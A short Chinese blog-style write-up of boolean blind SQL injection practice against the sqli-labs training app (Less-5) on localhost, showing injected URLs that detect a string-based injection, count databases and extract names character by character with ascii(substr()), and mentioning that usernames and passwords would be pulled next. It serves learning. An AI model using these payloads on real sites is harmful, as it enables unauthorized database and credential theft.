这个我用的是第五个做的盲注 如果你想做一个真的盲注 那在 http://127.0.0.1/sqli-labs/Less-8?id=1 以下方式同样适用
http://127.0.0.1/sqli-labs/Less-5?id=1 and 1=1 --+ 正常
http://127.0.0.1/sqli-labs/Less-5?id=1 and 1=2 --+ 正常
http://127.0.0.1/sqli-labs/Less-5?id=1' and 1=2 --+ 不正常
http://127.0.0.1/sqli-labs/Less-5?id=1' and 1=1 --+ 正常
说明 是字符串盲注
因为盲注前提是没有显示位 只能靠 页面是否正常 来判断 SQL语句 是否执行成功
在判断过程中 我只发现
You are in...........
有变化 又只有添加了'才有变化 因此是字符串盲注
采用二分法判断范围 最终锁定
http://127.0.0.1/sqli-labs/Less-5?id=1' and (select count(schema_name) from information_schema.schemata) >7--+
判断数据库数量 它大于6不小于7 小于8 因此 有7个数据库
ascii()使变量转化为十进制ASCII码
substr函数的用法,取得字符串中指定起始位置和长度的字符串 ,默认是从起始位置到结束的子串。
http://127.0.0.1/sqli-labs/Less-5?id=1' and (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>105 --+
判断第一个数据库第一个字符 是i 因为Apache 第一个数据库是 information_schema
通过比较 它大于104 不小于105 小于106 所以 比对 ASCII码表得知为i 所以第一个数据库是 information_schema
因为太繁琐 所以就不朝下作了
之后的就是这样一步步比对
比较得到数据库
然后在数据库中比较所有字段
然后在字段中 选择username password 去比较内容
得到